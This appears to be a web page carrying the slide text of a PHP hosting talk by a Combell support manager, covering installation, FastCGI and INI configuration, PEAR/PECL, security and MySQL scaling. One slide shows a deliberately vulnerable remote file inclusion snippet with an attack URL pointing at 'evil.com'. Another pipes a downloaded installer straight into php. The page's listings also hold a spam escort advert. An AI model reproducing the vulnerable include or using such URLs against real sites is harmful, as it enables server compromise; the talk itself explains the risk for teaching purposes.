2013 - Dustin whittle - Escalando PHP en la vida real
2013 - Dustin whittle - Escalando PHP en la vida real2013 - Dustin whittle - Escalando PHP en la vida real
2013 - Dustin whittle - Escalando PHP en la vida real
 
Converting Your Dev Environment to a Docker Stack - php[world]
Converting Your Dev Environment to a Docker Stack - php[world]Converting Your Dev Environment to a Docker Stack - php[world]
Converting Your Dev Environment to a Docker Stack - php[world]
 

More from Combell NV

Play it extra safe! Kies een goede cyberverzekering
Play it extra safe! Kies een goede cyberverzekeringPlay it extra safe! Kies een goede cyberverzekering
Play it extra safe! Kies een goede cyberverzekeringCombell NV
 
Hoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellHoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellCombell NV
 
Managed WordPress bij Combell – wat doet dat precies?
Managed WordPress bij Combell – wat doet dat precies?Managed WordPress bij Combell – wat doet dat precies?
Managed WordPress bij Combell – wat doet dat precies?Combell NV
 
Back-ups: Hoe ze je kunnen redden van een cyberaanval
Back-ups: Hoe ze je kunnen redden van een cyberaanvalBack-ups: Hoe ze je kunnen redden van een cyberaanval
Back-ups: Hoe ze je kunnen redden van een cyberaanvalCombell NV
 
Cyberaanvallen: Overzicht, gevolgen en beveiligingstips
Cyberaanvallen: Overzicht, gevolgen en beveiligingstipsCyberaanvallen: Overzicht, gevolgen en beveiligingstips
Cyberaanvallen: Overzicht, gevolgen en beveiligingstipsCombell NV
 
Hoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellHoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellCombell NV
 
Hoe laat je jouw website scoren in zoekmachines zoals Google
Hoe laat je jouw website scoren in zoekmachines zoals GoogleHoe laat je jouw website scoren in zoekmachines zoals Google
Hoe laat je jouw website scoren in zoekmachines zoals GoogleCombell NV
 
Een webshop bouwen in WooCommerce – advanced sessie
Een webshop bouwen in WooCommerce – advanced sessieEen webshop bouwen in WooCommerce – advanced sessie
Een webshop bouwen in WooCommerce – advanced sessieCombell NV
 
Hoe start je een webshop met WordPress / WooCommerce
Hoe start je een webshop met WordPress / WooCommerceHoe start je een webshop met WordPress / WooCommerce
Hoe start je een webshop met WordPress / WooCommerceCombell NV
 
Keeping the cloud in check cvodmd
Keeping the cloud in check cvodmdKeeping the cloud in check cvodmd
Keeping the cloud in check cvodmdCombell NV
 
Hybrid cloud wiskyweb2012
Hybrid cloud wiskyweb2012Hybrid cloud wiskyweb2012
Hybrid cloud wiskyweb2012Combell NV
 
2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie5 ssl2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie5 sslCombell NV
 
2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie2 drupal2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie2 drupalCombell NV
 
2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie1 magento2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie1 magentoCombell NV
 
2012 03-27 developers e-commercedag presentatie4 ogone
2012 03-27 developers e-commercedag presentatie4 ogone2012 03-27 developers e-commercedag presentatie4 ogone
2012 03-27 developers e-commercedag presentatie4 ogoneCombell NV
 
10 doe-het-zelf tips om aan e-commerce te doen
10 doe-het-zelf tips om aan e-commerce te doen10 doe-het-zelf tips om aan e-commerce te doen
10 doe-het-zelf tips om aan e-commerce te doenCombell NV
 
Develop and deploy using Hybrid Cloud Strategies confoo2012
Develop and deploy using Hybrid Cloud Strategies confoo2012Develop and deploy using Hybrid Cloud Strategies confoo2012
Develop and deploy using Hybrid Cloud Strategies confoo2012Combell NV
 
Hybrid Cloud PHPUK2012
Hybrid Cloud PHPUK2012Hybrid Cloud PHPUK2012
Hybrid Cloud PHPUK2012Combell NV
 
2012 02-07 sql denali presentatie microsoft
2012 02-07 sql denali presentatie microsoft2012 02-07 sql denali presentatie microsoft
2012 02-07 sql denali presentatie microsoftCombell NV
 
11 tips om in de Cloud te raken en er niet uit te vallen
11 tips om in de Cloud te raken en er niet uit te vallen11 tips om in de Cloud te raken en er niet uit te vallen
11 tips om in de Cloud te raken en er niet uit te vallenCombell NV
 

More from Combell NV (20)

Play it extra safe! Kies een goede cyberverzekering
Play it extra safe! Kies een goede cyberverzekeringPlay it extra safe! Kies een goede cyberverzekering
Play it extra safe! Kies een goede cyberverzekering
 
Hoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellHoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van Combell
 
Managed WordPress bij Combell – wat doet dat precies?
Managed WordPress bij Combell – wat doet dat precies?Managed WordPress bij Combell – wat doet dat precies?
Managed WordPress bij Combell – wat doet dat precies?
 
Back-ups: Hoe ze je kunnen redden van een cyberaanval
Back-ups: Hoe ze je kunnen redden van een cyberaanvalBack-ups: Hoe ze je kunnen redden van een cyberaanval
Back-ups: Hoe ze je kunnen redden van een cyberaanval
 
Cyberaanvallen: Overzicht, gevolgen en beveiligingstips
Cyberaanvallen: Overzicht, gevolgen en beveiligingstipsCyberaanvallen: Overzicht, gevolgen en beveiligingstips
Cyberaanvallen: Overzicht, gevolgen en beveiligingstips
 
Hoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellHoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van Combell
 
Hoe laat je jouw website scoren in zoekmachines zoals Google
Hoe laat je jouw website scoren in zoekmachines zoals GoogleHoe laat je jouw website scoren in zoekmachines zoals Google
Hoe laat je jouw website scoren in zoekmachines zoals Google
 
Een webshop bouwen in WooCommerce – advanced sessie
Een webshop bouwen in WooCommerce – advanced sessieEen webshop bouwen in WooCommerce – advanced sessie
Een webshop bouwen in WooCommerce – advanced sessie
 
Hoe start je een webshop met WordPress / WooCommerce
Hoe start je een webshop met WordPress / WooCommerceHoe start je een webshop met WordPress / WooCommerce
Hoe start je een webshop met WordPress / WooCommerce
 
Keeping the cloud in check cvodmd
Keeping the cloud in check cvodmdKeeping the cloud in check cvodmd
Keeping the cloud in check cvodmd
 
Hybrid cloud wiskyweb2012
Hybrid cloud wiskyweb2012Hybrid cloud wiskyweb2012
Hybrid cloud wiskyweb2012
 
2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie5 ssl2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie5 ssl
 
2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie2 drupal2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie2 drupal
 
2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie1 magento2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie1 magento
 
2012 03-27 developers e-commercedag presentatie4 ogone
2012 03-27 developers e-commercedag presentatie4 ogone2012 03-27 developers e-commercedag presentatie4 ogone
2012 03-27 developers e-commercedag presentatie4 ogone
 
10 doe-het-zelf tips om aan e-commerce te doen
10 doe-het-zelf tips om aan e-commerce te doen10 doe-het-zelf tips om aan e-commerce te doen
10 doe-het-zelf tips om aan e-commerce te doen
 
Develop and deploy using Hybrid Cloud Strategies confoo2012
Develop and deploy using Hybrid Cloud Strategies confoo2012Develop and deploy using Hybrid Cloud Strategies confoo2012
Develop and deploy using Hybrid Cloud Strategies confoo2012
 
Hybrid Cloud PHPUK2012
Hybrid Cloud PHPUK2012Hybrid Cloud PHPUK2012
Hybrid Cloud PHPUK2012
 
2012 02-07 sql denali presentatie microsoft
2012 02-07 sql denali presentatie microsoft2012 02-07 sql denali presentatie microsoft
2012 02-07 sql denali presentatie microsoft
 
11 tips om in de Cloud te raken en er niet uit te vallen
11 tips om in de Cloud te raken en er niet uit te vallen11 tips om in de Cloud te raken en er niet uit te vallen
11 tips om in de Cloud te raken en er niet uit te vallen
 

Recently uploaded

"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...Fwdays
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Enterprise Knowledge
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Mattias Andersson
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsRizwan Syed
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsMark Billinghurst
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machinePadma Pradeep
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024Scott Keck-Warren
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxMalak Abu Hammad
 
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Patryk Bandurski
 
Maximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxMaximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxOnBoard
 
Artificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning eraArtificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning eraDeakin University
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonetsnaman860154
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationRidwan Fadjar
 
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024BookNet Canada
 
Pigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping ElbowsPigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping ElbowsPigging Solutions
 
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | DelhiFULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhisoniya singh
 
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr LapshynFwdays
 

Recently uploaded (20)

"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024
 
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptxE-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL Certs
 
Vulnerability_Management_GRC_by Sohang Sengupta.pptx
Vulnerability_Management_GRC_by Sohang Sengupta.pptxVulnerability_Management_GRC_by Sohang Sengupta.pptx
Vulnerability_Management_GRC_by Sohang Sengupta.pptx
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR Systems
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machine
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptx
 
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
 
Maximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxMaximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptx
 
Artificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning eraArtificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning era
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonets
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 Presentation
 
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
 
Pigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping ElbowsPigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping Elbows
 
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | DelhiFULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
 
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
 

Php through the eyes of a hoster

  • 1. PHP  through  the  eyes  of  a  hoster Thijs  Feryn Support  manager +32  (0)9  218  79  06 thijs@combellgroup.com
  • 2. About  me I’m  the  support  manager  at  Combell
  • 3. About  me I’m  a  board  member  at  PHPBenelux
  • 5. I  live  in  the  wonderful  city  of  Bruges MPBecker  -­‐  Bruges  by  Night  hKp://www.flickr.com/photos/galverson2/3715965933
  • 6. Follow  me  on  TwiKer:  @ThijsFeryn Rate  my  talk:  hKp://joind.in/1541 Read  my  blog:  hKp://blog.feryn.eu
  • 7.
  • 8.
  • 9. Chapter  I  :  The  hoster,  a  genuine  stakeholder  in  the   PHP  universe
  • 10. Stakeholders Customer Development  company Endusers MGMT Devs MGMT Design PM Internal Internal IT PM Sales QA Systeam Consultants Hoster PHP  community
  • 11. Stakeholders Somewhere  along  the  road  ... Your  app  needs  to  be  hosted
  • 12. Goals  &  mo]ves Our  goals  &  mo=ves  are  the  same  as  yours: • It  has  to  work • It  has  to  perform • It  has  to  scale • It  has  to  be  secure • It  has  to  be  available
  • 13.
  • 14.
  • 15.
  • 16. Chapter  II:  Installa]on  &  configura]on
  • 17. Installing  from  source server$  ./configure  -­‐-­‐prefix=/usr/local/php-­‐5.2.10   -­‐-­‐with-­‐apxs2=/usr/local/httpd-­‐2.2.12/bin/apxs  -­‐-­‐ with-­‐zlib  -­‐-­‐with-­‐curl  -­‐-­‐with-­‐gd  -­‐-­‐enable-­‐mbstring   -­‐-­‐with-­‐mysql  -­‐-­‐with-­‐mysqli  -­‐-­‐enable-­‐pcntl  -­‐-­‐with-­‐ pdo-­‐mysql  -­‐-­‐with-­‐readline  -­‐-­‐enable-­‐soap  -­‐-­‐with-­‐xsl   -­‐-­‐with-­‐mcrypt  -­‐-­‐with-­‐mssql  -­‐-­‐with-­‐snmp  -­‐-­‐with-­‐imap   -­‐-­‐with-­‐kerberos  -­‐-­‐with-­‐imap-­‐ssl  -­‐-­‐with-­‐config-­‐ file-­‐path=/etc/php5/  -­‐-­‐enable-­‐sockets  -­‐-­‐with-­‐ freetype-­‐dir  -­‐-­‐with-­‐openssl   server$  make server$  make  install
  • 18. Installing  using  a  package  manager  (APT/Ap]tude) Install  PHP: server$  apt-­‐get  install  php5 Install  MySQL  library  for  PHP: server$  apt-­‐get  install  php5-­‐mysql
  • 19. SAPI  ...  schmapi Mod_php FastCGI CLI Web Apache  module gateway -­‐ Process Apache  process php-­‐cgi php Configura=on Apache  conf  files wrapper on  the  fly shell  user  or   User Apache  user shell  user suexec  user
  • 20. FastCGI Example  config: • Apache  handler    <IfModule  mod_fcgid.c>        SuexecUserGroup  dev  dev        PHP_Fix_Pathinfo_Enable  1        <Directory  /var/www/dev/www/>            Options  +ExecCGI            AllowOverride  All            AddHandler  fcgid-­‐script  .php            FCGIWrapper  /var/www/dev/etc/fcgi.wrapper  .php            Order  allow,deny            Allow  from  all        </Directory>    </IfModule>
  • 21. FastCGI Example  config: • Wrapper  script #!/bin/sh PHPRC=/usr/local/php-­‐5.3.1/etc export  PHPRC export  PHP_FCGI_MAX_REQUESTS=5000 export  PHP_FCGI_CHILDREN=8 exec  /usr/local/php-­‐5.3.1/bin/php-­‐cgi
  • 22. INI  se`ngs:  tales  of  good  &  evil
  • 23. INI  se`ngs:  tales  of  good  &  evil Defining  INI  seRngs: • Php.ini • Ini_set() • “-­‐d”   • php_value • php_flag • php_admin_value • php_admin_flag
  • 24. INI  se`ngs:  tales  of  good  &  evil Memory_limit: Fatal  error:  Allowed  memory  size  of  16777216   bytes  exhausted  (tried  to  allocate  35  bytes)
  • 25.
  • 26. INI  se`ngs:  tales  of  good  &  evil Safe_mode  &  Open_basedir: <IfModule  mod_php5.c>        php_admin_flag  engine  on        php_admin_flag  safe_mode  off        php_admin_value  open_basedir  "/var/www/vhosts/ website.com/httpdocs:/tmp" </IfModule>
  • 27. INI  se`ngs:  tales  of  good  &  evil Allow_url_fopen: <?php $lang= $_GET['lang']; require("$lang.php"); http://domain.ext/index.php?lang=http://evil.com/hack.txt?
  • 28. Chapter  III:  Versions  &  features
  • 29. PHP  4:  End  of  life,  but  far  from  dead
  • 30. PHP  4:  End  of  life,  but  far  from  dead Parse  error:  syntax  error,  unexpected  T_STRING,   expecting  T_OLD_FUNCTION  or  T_FUNCTION  or  T_VAR   or  '}'  in  test.php  on  line  4
  • 32. It  HAS  to  be  PHP  5.3.2  !!!
  • 33. I  need  ALL  PHP  extension  !!!
  • 34. I  use  ALL  PHP  features  !!!
  • 35. Fruit  &  vegetables:  PEAR  &  PECL
  • 36. Fruit  &  vegetables:  PEAR  &  PECL PEAR PHP  Extension  and  Applica=on  Repository  (h#p//pear.php.net) server$  lynx  -­‐source  http://pear.php.net/go-­‐pear  |  php server$  pear  install  date
  • 37. Fruit  &  vegetables:  PEAR  &  PECL PECL  (pickle) PHP  Extension  Community  Library  (h#p//pecl.php.net) server$  pecl  install  pecl_http
  • 38. External  frameworks Popular  frameworks  outside  the  PHP  project
  • 39. Chapter  IV:  PHP  aKracts  a  crowd
  • 41. That  easy  ! <?php echo "Hello world!";
  • 44. Everyone  can  be  a  PHP  developer
  • 45. But  not  everyone  has  what  it  takes
  • 46. Luckily  there’s  a  lot  ready-­‐to-­‐use  PHP  so_ware  out  there
  • 47. Who  you  gonna  call  ?
  • 48. But  when  helpers  need  help  ...
  • 49. They  reach  out  to  the  PHP  community User  Group  mee=ngs Twiaer Blogs Forums PHP.net IRC Conferences
  • 50. Chapter  V:  Here  be  phpirates
  • 52. Fact “The  majority  of  hacking/absue  cases  are  PHP  related”
  • 53. False  assump]ons “Open  source  is  evil” “PHP  has  lots  of  security  vulnerabili=es  and  is  not  mature”
  • 54. Here  be  phpirates The  real  issues • Quality  of  the  code • Network  &  server  security • PHP  version  &  configura=on
  • 58. Scalability  ==  constant  speed  under  increasing  load
  • 63. mysql>  explain  SELECT  field1,  (SELECT  COUNT(*)  FROM  table2  WHERE  field3  =   table1.id)  FROM  table1  WHERE  field2  =  1    ORDER  BY  field4  DESC  limit   12,12; ***************************  1.  row  ***************************                      id:  1    select_type:  PRIMARY                table:  table1                  type:  ALL possible_keys:  approved                    key:  approved            key_len:  NULL                    ref:  NULL                  rows:  3143                Extra:  Using  where;  Using  filesort ***************************  2.  row  ***************************                      id:  2    select_type:  DEPENDENT  SUBQUERY                table:  table2                  type:  ALL possible_keys:  NULL                    key:  NULL            key_len:  NULL                    ref:  NULL                  rows:  1005                Extra:  Using  where
  • 64. mysql>  show  processlist; +-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+ |  Id        |  User  |  Host            |  db  |  Command  |  Time  |  State                                |  Info         | +-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+ |  63515  |  root  |  localhost  |  db  |  Query      |        0  |  NULL                                  |  show   processlist                                                                | |  81763  |  root  |  localhost  |  db  |  Sleep      |    105  |                                            |  NULL         | |  85187  |  root  |  localhost  |  db  |  Query      |        0  |  Sending  data                  |  SELECT   data  from  someTable  where  field  =  'val'    | |  82701  |  root  |  localhost  |  db  |  Query      |        0  |  Copying  to  tmp  table  |  SELECT   data  from  someTable  where  field='val2'      | |  82709  |  root  |  localhost  |  db  |  Query      |        0  |  Sorting  result              |  SELECT   data  from  someTable  where  order  by  field  | |  82716  |  root  |  localhost  |  db  |  Query      |        0  |  Opening  tables              |  SELECT   data  from  someOtherTable                                  | +-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+
  • 65. Scaling  MySQL  with  replica]on
  • 67.
  • 72. Summary 1.Hosters  are  a  genuine  stakeholder  in  the  PHP  universe 2.PHP  is  highly  flexible  &  configurable.  Hosters  have  to  ensure  a  decent   setup 3.PHP  has  a  lot  to  offer  feature-­‐wise 4.PHP  aDracts  a  crowd  and  brings  a  lot  of  people  together  from   different  industries  (e.g.  hosters) 5.Lots  of  abuse  cases  are  PHP  related,  but  that’s  not  the  fault  of  PHP   itself 6.PHP  itself  doesn’t  scale  *that*  well,  but  is  flexible  enough  to  ensure   scalability  via  extra  tools
  • 73. Q&A